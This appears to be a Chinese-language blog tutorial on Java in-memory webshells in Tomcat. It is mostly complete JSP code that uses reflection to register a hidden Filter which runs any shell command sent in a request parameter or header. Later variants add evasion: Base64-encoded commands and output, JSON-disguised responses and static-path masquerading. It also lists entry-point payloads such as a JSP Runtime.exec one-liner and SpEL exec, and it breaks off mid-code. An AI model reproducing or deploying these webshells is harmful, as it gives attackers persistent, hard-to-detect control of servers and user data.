Java内存马原理及利用

本文最后更新于 2025年10月3日 凌晨

什么是内存马

内存马简介

内存马是webshell的一种,不同于文件马,内存马无文件落地。顾名思义,内存马将恶意逻辑直接注入到目标 Java Web 应用程序的运行时内存中。内存马可以绕过文件监测系统,不易被定位和监控。在绕过安全设备和实现持久化控制上优于传统文件马。

java内存马分类

按挂载点不同分为以下:

  1. Servlet-api类
1
2
3
Filter内存马
Servlet内存马
Listener内存马
  1. Spring类
1
Spring Controller 内存马
  1. Tomcat Valve 内存马
  2. MBean 内存马
  3. Agent 内存马

内存马的生命周期

内存马的生命周期与 Web 容器、应用部署、JVM 运行状态紧密相关。

内存马自注入到运行中的web容器开始,随容器运行,一般在web容器、web服务停止/重启时死亡。

不同类型的内存马的生命周期有区别,与其挂载点有关。总结就是:

内存马的生命周期 = 它所寄生组件的生命周期。清除内存马的本质,是摧毁其寄生环境 —— 重部署、重启、或 JVM 终结

web应用重启指重启对应的web应用(tomcat可能同时运行不同web应用),影响较小。JVM重启指重启tomcat服务sudo systemctl restart tomcatv,影响所有web应用。

各类型内存马生命周期具体如下

类型 生命周期起点 生命周期持续阶段 生命周期终点 是否可热清除(不重启JVM)
Filter addFilter() 成功执行或反射注入完成 持续拦截请求,除非被移除或上下文销毁 Web 应用 reload / undeploy / 重启 ✅ 是(重部署即可)
Servlet addServlet() 成功执行或反射注入完成 响应特定路径,除非被移除 Web 应用 reload / undeploy / 重启 ✅ 是
Listener addListener() 或应用启动时初始化 随 Context/Session 生命周期持续运行 Web 应用 stop / 重启 部分(如HttpSession相关)
Spring Controller 注入到 HandlerMapping 成功 随 Spring MVC 分发器持续生效 /refresh / Context 重启 / 应用重启 ✅ 是(/refresh 即可)
Java Agent JVM 启动时加载 或 attach 注入成功 持续 Hook 字节码,独立于 Web 层 JVM 进程终止 ❌ 否
Tomcat Valve 注入到 Container Pipeline 成功 在 Connector 层持续生效,早于 Filter Tomcat Server 重启 ❌ 否(需重启 Server)
MBean registerMBean() 成功 持续驻留 MBeanServer,可被远程调用 手动 unregister / JVM 重启 ✅ 是(可手动注销)

内存马生命周期流程图

利用前提

内存马的注入实际上就是执行Java代码。所以内存马利用的必要前提条件就是能够在web应用的上下文执行Java代码。

通常通过以下方式:

入口类型 说明 示例
1. JSP Webshell 上传或写入一个 JSP 文件,内含 Java 代码 <% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
2. 反序列化漏洞 利用 Java 反序列化漏洞(如 Commons-Collections、Fastjson、Jackson)执行代码 Fastjson @type 指定恶意类,触发构造器或 getter
3. 表达式注入 利用 EL 表达式、SpEL、OGNL、MVEL 等执行动态代码 Spring SpEL:T(java.lang.Runtime).getRuntime().exec("whoami")
4. 文件上传 + 目录穿越/解析漏洞 上传 JSP 文件到可执行目录 上传 shell.jsp/webapps/ROOT/
5. 框架 RCE 漏洞 如 Struts2、Spring Cloud、Shiro、Log4j2 等框架漏洞 Log4j2 JNDI 注入 → 加载远程恶意类
6. 管理后台 / 调试接口 如 Spring Boot Actuator、Druid 监控、Swagger 未授权 /actuator/ + env + restart + 自定义注入
7. 服务器命令执行 → 写入 JSP 通过其他漏洞(如 PHP、Python RCE)写入 JSP 文件 服务器存在 Python RCE → echo '<%...%>' > /tomcat/webapps/ROOT/shell.jsp
8. Java Agent 附加(高阶) 通过 VirtualMachine.attach(pid) 注入 Agent(需本地权限) 利用本地漏洞或运维权限 attach 到 Tomcat 进程

复现

tomcat 9.0.104 + jdk1.8.0_101

Springboot 3.5.6 + Java17

servlet-api类

在 Java Web 开发中,ServletFilterController 是三个核心组件

1
2
3
4
5
6
7
8
9
10
11
客户端请求

Filter(如 CharacterEncodingFilter、CorsFilter 等)

DispatcherServlet(继承自 HttpServlet,是前端控制器)

HandlerMapping → 找到对应的 @Controller

Controller 方法执行(调用 Service、返回 ModelAndView 或 JSON)

返回响应(经过 Filter 的 response 后处理)
  • Filter 像是“安检门”:检查每个人(请求)是否携带违禁品(非法参数、未登录等),决定是否放行。
  • DispatcherServlet 像是“前台接待”:接收所有来访者,根据需求(URL)分配到对应部门(Controller)。
  • Controller 像是“业务专员”:具体处理客户的需求(业务逻辑)。

Filter 内存马

  • 挂载点:ServletFilter链(例如:Tomcat 的ApplicationFilterChain)。
  • 原理:攻击者通过反射在运行时向FilterChain动态注册一个恶意的javax.servlet.Filter实例。由于 Filter 位于请求处理的最前端,它能在请求到达目标 Servlet/Controller 之前拦截所有或特定 URL 的请求。
  • 企业级危害:极具威胁。Filter 内存马可以实现前置身份验证绕过、会话劫持、敏感数据过滤(例如,拦截信用卡号或密码)、WebShell 命令执行。它位于请求处理的最上层,几乎可以影响所有传入流量。

demo

idea + maven +tomcat9

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>com.example</groupId>
<artifactId>memory-shell-demo</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>war</packaging>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
<scope>provided</scope>
</dependency>
</dependencies>
</project>

Myservlet.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.example;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;

@WebServlet("/time")
public class MyServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String now = sdf.format(new Date());

resp.setContentType("text/html;charset=UTF-8");
resp.getWriter().println("<h2> 当前时间:" + now + "</h2>");
resp.getWriter().println("<a href='/'>返回首页</a>");
}
}

Myfilter.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.example;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import java.io.PrintWriter;

@WebFilter("/filter")
public class Myfilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
servletResponse.setCharacterEncoding("UTF-8");
servletResponse.setContentType("text/html;charset=UTF-8");
PrintWriter out = servletResponse.getWriter();
out.println("Myfilter被执行了 cmd = "+cmd);
System.out.println("Myfilter被执行了 cmd = "+cmd);
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {
}
}

index.jsp

1
2
3
4
5
6
7
8
9
10
11
12
<%@ page contentType="text/html;charset=UTF-8" %>
<html>
<head>
<title>内存马演示 Demo</title>
</head>
<body>
<ul>
<li><a href="time">查看当前时间(正常 Servlet)</a></li>
<li><a href="shell.jsp"> 注入 Filter 内存马</a></li>
</ul>
</body>
</html>

内存马注入

Filter 链是如何构建的

当请求到达时,Tomcat 会:

  1. 根据请求路径(如 /filter),遍历 StandardContext.filterMaps 数组
  2. 对每个 FilterMap
    • 检查 URL Pattern 是否匹配(精确匹配 > 通配符匹配)
    • 检查 Dispatcher 是否匹配(默认是 REQUEST
  3. 根据匹配的FilterMap寻找对应的FilterName然后根据filterConfigs.get(filterName)得到filterConfigfilterConfigs在web应用启动时就已经加载了所有的filterConfig
  4. filterConfig.getFilter() 得到实例加入 Filter 链(ApplicationFilterChain)
  5. 最终按 顺序 依次执行Filter链的doFilter方法

也就是说,FilterMapFilterMapsfilterConfigsfilterConfig 都是在web应用启动时就已经构建好固定的 ,唯一随着请求不同的路由变化的是Filter 链,也就是在前面这些固定的中按需取用匹配路由的filter调用其adofilter方法。

所以要实现内存马的注入就需要在每一个固定的数据(FilterDefFilterMapFilterMapsfilterConfigsfilterConfig)中进行修改加入对应的filter配置。

shell.jsp 1

没有修改 Filter 链顺序,但“骗过了”Filter 链的组装机制 → Filter 会执行,但顺序不可控(通常在最后)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>shell</title>
</head>
<body>
<%!
public class Shellfilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
System.out.println("Shellfilter 执行命令结果: " + output);
out.flush();
out.close();
}

@Override
public void destroy() {
}
}
%>
<%
//拿到standardContext
ServletContext servletContext = request.getServletContext();
Field applicationField = servletContext.getClass().getDeclaredField("context");
applicationField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

//设置filterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterClass(Shellfilter.class.getName());
filterDef.setFilterName("Shellfilter");
filterDef.setFilter(new Shellfilter());
standardContext.addFilterDef(filterDef);

//设置filterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("Shellfilter");
filterMap.addURLPattern("/*"); //设置要映射的url
filterMap.setDispatcher(DispatcherType.REQUEST.name()); //设置分派类型,REQUEST表示普通的 HTTP 请求
standardContext.addFilterMap(filterMap);

//将standardContext和filterDef放到filterConfig中
Class configclass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor configconstructor = configclass.getDeclaredConstructor(Context.class,FilterDef.class);
configconstructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig) configconstructor.newInstance(standardContext,filterDef);

//反射获取filterConfig
Field configsfield = standardContext.getClass().getDeclaredField("filterConfigs");
configsfield.setAccessible(true);
Map filterConfigs = (Map) configsfield.get(standardContext);
filterConfigs.put("Shellfilter",filterConfig);
%>
</body>
</html>

访问shell.jsp触发注入内存马

内存马的filter匹配的是/*,也就是所有路由

即使路由不存在

如果应用中已经存在filter,这里是Myfilter.java定义的/filter路由,

可以看到原来的filter和注入的filter都被执行了

并且执行顺序是原来的filter->注入的filter

这需要在MyFilter中

1
filterChain.doFilter(servletRequest, servletResponse)

放行filter,filter链继续执行下去,如果没有这行则filter链会在当前doFilter中断

所以内存马一般绑定一个自定义不容易重复的路由,避免被同路由的filter拦截中断。

shell.jsp 2

重建了整个 Filter 链 → Filter 顺序可控(你用了 **addFilterMapBefore** → 插到最前面)

filter内存马不仅仅可以命令执行,还可以拦截一些敏感信息和操作,以及身份验证绕过。比如访问后台admin/xxx需要经过filter验证用户是否登录,在修改密码等操作提交前经过filter验证身份证/电话号码是否合法,这时如果注入的filter在所以filter之前,则可以绕过验证,或者拦截一些敏感信息然后放行而不影响正常业务,可以无感获取敏感数据。

要把filter注入到FilterMap前端可以用addFilterMapBefore(...) 方法 然后 filterStop() + filterStart()重建执行链。

shell.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>shell</title>
</head>
<body>
<%!
public class Shellfilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println(" Shellfilter.init() 被调用!");
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println(" Shellfilter.doFilter() 被执行了!");

String cmd = servletRequest.getParameter("cmd");
if (cmd == null || cmd.trim().isEmpty()) {
System.out.println("cmd is null");
filterChain.doFilter(servletRequest, servletResponse);
return;
}

boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};

try {
Process process = Runtime.getRuntime().exec(cmds);
InputStream in = process.getInputStream();
Scanner s = new Scanner(in, "UTF-8").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";

servletResponse.setCharacterEncoding("UTF-8");
servletResponse.setContentType("text/html;charset=UTF-8");
PrintWriter out = servletResponse.getWriter();
out.println("<pre style='background:#000;color:#0f0;'> Shellfilter Result:\n" + output + "</pre>");
out.flush();
out.close();
return;
} catch (Exception e) {
e.printStackTrace();
PrintWriter out = servletResponse.getWriter();
out.println("<pre style='color:red;'> Error: " + e.toString() + "</pre>");
out.flush();
out.close();
return;
}
}

@Override
public void destroy() {
System.out.println(" Shellfilter.destroy() 被调用!");
}
}
%>
<%
try {
// 拿到 standardContext
ServletContext servletContext = request.getServletContext();
Field applicationField = servletContext.getClass().getDeclaredField("context");
applicationField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

// 设置 filterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterClass(Shellfilter.class.getName());
filterDef.setFilterName("Shellfilter");
filterDef.setFilter(new Shellfilter());

// 注册 FilterDef
java.lang.reflect.Method addFilterDefMethod = StandardContext.class.getDeclaredMethod("addFilterDef", FilterDef.class);
addFilterDefMethod.setAccessible(true);
addFilterDefMethod.invoke(standardContext, filterDef);

// 设置 filterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("Shellfilter");
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());

// 插入到最前面
java.lang.reflect.Method addFilterMapBeforeMethod = StandardContext.class.getDeclaredMethod("addFilterMapBefore", FilterMap.class);
addFilterMapBeforeMethod.setAccessible(true);
addFilterMapBeforeMethod.invoke(standardContext, filterMap);

// 关键!强制重建 Filter 链
java.lang.reflect.Method filterStopMethod = StandardContext.class.getDeclaredMethod("filterStop");
filterStopMethod.setAccessible(true);
filterStopMethod.invoke(standardContext);

java.lang.reflect.Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext);

out.println(" Shellfilter 已注入到 Filter 链最前面,并已激活!");
System.out.println(" Shellfilter 注入成功,位于 Filter 链首位!");

} catch (Exception e) {
e.printStackTrace(new java.io.PrintWriter(out));
out.println(" 注入失败: " + e.toString());
}
%>
</body>
</html>

没注入时,对/filter的filter为Myfilter

访问shell.jsp注入

/filter?cmd=whoami

可以看到先执行shellfilter,myfilter没被执行(shellfilter没有对dofilter放行)

访问filter不加cmd参数,可以更直观看到是shellfilter->Myfilter (shellfilter的cmd为空时放行dofilter)

提高隐蔽性

通常为了内存马更加隐蔽,需要不影响所有正常的路由从而不易被运维或者安全设备发现

  1. 将参数通过header传递

在dofilter获取自定义的特定的header的值作为命令执行的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<html>
<head>
<title>shell</title>
</head>
<body>
<%!
public class Shellfilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
// 从 Header 中读取 CMD
String cmd = ((HttpServletRequest) servletRequest).getHeader("CMD");
if (cmd == null || cmd.trim().isEmpty()) {
filterChain.doFilter(servletRequest, servletResponse); // 如果没有 CMD 头,放行请求,不影响正常业务
}

boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
System.out.println("Shellfilter 执行命令结果: " + output);
out.flush();
out.close();
}

@Override
public void destroy() {
}
}
%>
<%
//拿到standardContext
ServletContext servletContext = request.getServletContext();
Field applicationField = servletContext.getClass().getDeclaredField("context");
applicationField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

//设置filterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterClass(Shellfilter.class.getName());
filterDef.setFilterName("Shellfilter");
filterDef.setFilter(new Shellfilter());
standardContext.addFilterDef(filterDef);

//设置filterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("Shellfilter");
filterMap.addURLPattern("/*"); //设置要映射的url
filterMap.setDispatcher(DispatcherType.REQUEST.name()); //设置分派类型,REQUEST表示普通的 HTTP 请求
standardContext.addFilterMap(filterMap);

//将standardContext和filterDef放到filterConfig中
Class configclass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor configconstructor = configclass.getDeclaredConstructor(Context.class,FilterDef.class);
configconstructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig) configconstructor.newInstance(standardContext,filterDef);

//反射获取filterConfig
Field configsfield = standardContext.getClass().getDeclaredField("filterConfigs");
configsfield.setAccessible(true);
Map filterConfigs = (Map) configsfield.get(standardContext);
filterConfigs.put("Shellfilter",filterConfig);
%>
</body>
</html>

不带CMD 的header访问正常

带CMD时

  1. 再进一步增加隐蔽性,可以对参数进行编码, 避免明文命令出现在日志、流量包中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="java.util.Base64" %>
<html>
<head>
<title>shell</title>
</head>
<body>
<%!
public class Shellfilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//只处理http请求
if (!(servletRequest instanceof HttpServletRequest)) {
filterChain.doFilter(servletRequest, servletResponse);
return;
}

HttpServletRequest req = (HttpServletRequest) servletRequest;
String encodedCmd = req.getHeader("CMD"); // 接收 Base64 编码的命令
//为空时放行,不影响正常业务
if (encodedCmd == null || encodedCmd.trim().isEmpty()) {
filterChain.doFilter(servletRequest, servletResponse);
return;
}


// Base64 解码
byte[] decodedBytes = Base64.getDecoder().decode(encodedCmd);
String cmd = new String(decodedBytes).trim();

if (cmd.isEmpty()) {
filterChain.doFilter(servletRequest, servletResponse);
return;
}


boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
System.out.println("Shellfilter 执行命令结果: " + output);
out.flush();
out.close();
}

@Override
public void destroy() {
}
}
%>
<%
//拿到standardContext
ServletContext servletContext = request.getServletContext();
Field applicationField = servletContext.getClass().getDeclaredField("context");
applicationField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

//设置filterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterClass(Shellfilter.class.getName());
filterDef.setFilterName("Shellfilter");
filterDef.setFilter(new Shellfilter());
standardContext.addFilterDef(filterDef);

//设置filterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("Shellfilter");
filterMap.addURLPattern("/*"); //设置要映射的url
filterMap.setDispatcher(DispatcherType.REQUEST.name()); //设置分派类型,REQUEST表示普通的 HTTP 请求
standardContext.addFilterMap(filterMap);

//将standardContext和filterDef放到filterConfig中
Class configclass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor configconstructor = configclass.getDeclaredConstructor(Context.class,FilterDef.class);
configconstructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig) configconstructor.newInstance(standardContext,filterDef);

//反射获取filterConfig
Field configsfield = standardContext.getClass().getDeclaredField("filterConfigs");
configsfield.setAccessible(true);
Map filterConfigs = (Map) configsfield.get(standardContext);
filterConfigs.put("Shellfilter",filterConfig);
%>
</body>
</html>

  1. 再进一步增加隐蔽性,可以对命令执行的回显也进行编码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="java.util.Base64" %>
<html>
<head>
<title>shell</title>
</head>
<body>
<%!
public class Shellfilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//只处理http请求
if (!(servletRequest instanceof HttpServletRequest)) {
filterChain.doFilter(servletRequest, servletResponse);
return;
}

HttpServletRequest req = (HttpServletRequest) servletRequest;
String encodedCmd = req.getHeader("CMD"); // 接收 Base64 编码的命令
//为空时放行,不影响正常业务
if (encodedCmd == null || encodedCmd.trim().isEmpty()) {
filterChain.doFilter(servletRequest, servletResponse);
return;
}


// Base64 解码
byte[] decodedBytes = Base64.getDecoder().decode(encodedCmd);
String cmd = new String(decodedBytes).trim();

if (cmd.isEmpty()) {
filterChain.doFilter(servletRequest, servletResponse);
return;
}


boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
String bs64output = Base64.getEncoder().encodeToString(output.getBytes());
PrintWriter out = servletResponse.getWriter();
out.println(bs64output);
System.out.println("Shellfilter 执行命令结果: " + output);
out.flush();
out.close();
}

@Override
public void destroy() {
}
}
%>
<%
//拿到standardContext
ServletContext servletContext = request.getServletContext();
Field applicationField = servletContext.getClass().getDeclaredField("context");
applicationField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

//设置filterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterClass(Shellfilter.class.getName());
filterDef.setFilterName("Shellfilter");
filterDef.setFilter(new Shellfilter());
standardContext.addFilterDef(filterDef);

//设置filterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("Shellfilter");
filterMap.addURLPattern("/*"); //设置要映射的url
filterMap.setDispatcher(DispatcherType.REQUEST.name()); //设置分派类型,REQUEST表示普通的 HTTP 请求
standardContext.addFilterMap(filterMap);

//将standardContext和filterDef放到filterConfig中
Class configclass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor configconstructor = configclass.getDeclaredConstructor(Context.class,FilterDef.class);
configconstructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig) configconstructor.newInstance(standardContext,filterDef);

//反射获取filterConfig
Field configsfield = standardContext.getClass().getDeclaredField("filterConfigs");
configsfield.setAccessible(true);
Map filterConfigs = (Map) configsfield.get(standardContext);
filterConfigs.put("Shellfilter",filterConfig);
%>
</body>
</html>

还可以将回显伪装为json

1
2
3
4
String bs64output = Base64.getEncoder().encodeToString(output.getBytes());
PrintWriter out = servletResponse.getWriter();
servletResponse.setContentType("application/json;charset=UTF-8");
out.print("{\"data\":\"" + bs64output + "\",\"code\":200}");

  1. 伪装成静态资源请求,如http://target.com/static/logo.png
1
2
3
4
5
6
//设置filterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("Shellfilter");
